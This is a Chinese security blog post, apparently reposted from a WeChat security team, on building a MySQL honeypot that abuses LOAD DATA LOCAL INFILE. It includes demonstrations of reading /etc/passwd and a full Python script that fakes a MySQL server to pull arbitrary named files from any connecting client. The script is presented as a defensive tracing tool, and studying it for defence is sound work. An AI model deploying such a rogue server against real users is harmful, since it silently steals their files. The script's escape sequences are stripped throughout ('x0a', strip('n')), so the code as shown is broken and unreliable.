杂谈
其实,之前热心网友就分享过一篇Mysql蜜罐的文章进行科普,但是其实里面并没有比较详细的阐述相关的技术细节,最近又有热心网友私信,故,今天做个稍微详细的补充。
实验一:LOAD DATA INFILE用法演示
基础知识
通常情况下,如果连接到MySQL数据库,在确认开启了local_infile
情况下,你可以使用load data local infile
将本地文件内容写入到数据库表中,由此,就有热心网友产生了一个奇妙的想法,那就是让你主动连接到MySQL数据库之后,读取你电脑中的文件,实现对黑客进行溯源。
环境
-
虚拟机1:一台部署mysql(可以Docker一键搭建)
-
虚拟机2:一台用来连接(这里使用kali linux)
虚拟机1:搭建MySQL环境
我们这里使用的CentOS的虚拟机
如果你的CentOS没有安装Docker,就百度一下,这里就不详细介绍了
现在,我们确认已经安装好docker了,使用docker获取mysql的镜像
docker pull mysql:latest
docker pull mysql:latest
docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql
这里创建的MySQL数据库账户是root密码是123456
我们也可以通过Windows电脑里的Navicat进行连接
我们可以这里创建一个名为test
的数据库,以便进行下面的测试
同时建一个test的数据表
其中字段也是test
虚拟机2:连接MySQL数据库
现在,我们使用第二台虚拟机,我们这里使用的是Kali Linux
mysql -h 192.168.244.129 -u root -p
这里-p
之后输入密码,就是我们刚才使用Docker部署的MySQL的root密码,即123456
查看local_infile
是否启用
show global variables like 'local_infile';
我们这里看到是禁用的状态,输入下面的命令进行启用
set global local_infile=1;
可以看到现在是已经启用了的
现在,我们做一些大胆的尝试,尝试直接写入本地文件,我提前在桌面上创建了一个fancypig.txt
的文件
mousepad fancypig.txt
之后我们在Kali Linux终端里,使用下面的命令尝试读取桌面的文件写入数据库
load data local infile '/home/fancypig/桌面/fancypig.txt' into table test fields terminated by 'n';
之后,我们去navicat上看下,居然读取进去了
当然,你还可以在疯狂一些,比方说读取一些特定的文件,如/etc/passwd
load data local infile '/etc/passwd' into table test fields terminated by 'n';
可以看到/etc/passwd
也被读取进去了
与我们命令行输入的cat /etc/passwd
读取到的内容完全一致
总结
至此,实验结束,我们发现了一个有趣的事情,那就是,连接到MySQL之后,可以使用load data local infile
方式任意读取电脑中的文件,这也就是为什么说,如果你构造一个MySQL蜜罐,可以主动执行上述命令,在别人连接到你的蜜罐之后,就自动读取电脑中的一些资料,从而进行溯源。
如果你深入研究,可以通过Wireshark进一步分析MySQL协议
可以看到每个命令在流量中对应的关系
之后便可以尝试伪造一个MySQL的服务
实验二:搭建MySQL蜜罐
基于上面的知识背景,我们尝试制作一个MySQL的蜜罐,其实就是使用socket发送刚才我们看到的wireshark中左侧的16进制字符来模拟MySQL交互
脚本代码
MysqlHoneyPot.py
# -*- coding: utf-8 -*-
import socket
import os
import sys
from pathlib import Path
import platform
class MySQLFileReader:
def __init__(self, port):
self.port = port
self.sv = socket.socket()
self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sv.bind(("", port))
self.sv.listen(5)
def mysql_get_file_content(self, filename):
conn, address = self.sv.accept()
print(f"收到连接: {address[0]}")
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
server_version = b"x0ax35x2ex35x2ex35x33"
if platform.system() == "Linux":
server_version = b"x0ax35x2ex37x2ex32x39"
conn.sendall(b"x4ax00x00x00" + server_version + b"x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")
conn.recv(9999)
conn.sendall(b"x07x00x00x02x00x00x00x02x00x00x00")
conn.recv(9999)
wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"x00x00x01xFB" + filename.encode()
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
if len(content) > 4:
content_str = content.decode()
with open(logpath + "/" + Path(filename).name, "w") as txt:
txt.write(content_str)
print(f"文件内容: n{content_str}")
return True
else:
return False
def read_files_from_input(self):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
while True:
filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = self.mysql_get_file_content(filename)
if res:
print(f"文件已保存 ---> {filename}")
else:
print(f"文件未找到 ---> {filename}")
def read_files_from_dict(self, dict_file):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
with open(dict_file) as dicc:
for line in dicc.readlines():
line = line.strip("n")
res = self.mysql_get_file_content(line)
if res:
print(f"文件已保存 ---> {line}")
else:
print(f"文件未找到 ---> {line}")
if __name__ == "__main__":
port = int(input("请输入监听端口号: "))
mode = input('''
请选择读取模式:
【1】从输入读取文件
【2】从字典读取文件
''')
mysql_file_reader = MySQLFileReader(port)
if mode == '1':
mysql_file_reader.read_files_from_input()
elif mode == '2':
dict_file = input("请输入字典文件名: ")
mysql_file_reader.read_files_from_dict(dict_file)
else:
print("无效的模式选择,请重新运行程序并输入正确的模式。")
使用演示
启动MySQL蜜罐
python3 MysqlHoneyPot.py
自定义端口选择3306
我们这里会模拟黑客使用Windows电脑连接,我预先放置一个pass.txt文件在电脑根目录下,等下看看能否让黑客连接MySQL蜜罐后,验证是否可以读取到这个文件
我们现在启动蜜罐,并填入我们要读取的文件路径
接下来,我们模拟黑客的操作,通常情况下黑客,会去扫描服务器的开放端口,这时发现有一个开放的3306端口,上面正运行着MySQL数据库
黑客通常会对MySQL数据库进行弱口令爆破,之后会发现MySQL数据库是没有密码的
然后我们这里模拟黑客进行连接,使用navicat,通常情况下,我们会进行测试连接
一旦点击,我们可以看到终端上已经显示到文件的内容了
原文始发于微信公众号(K0ne安全团队):MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论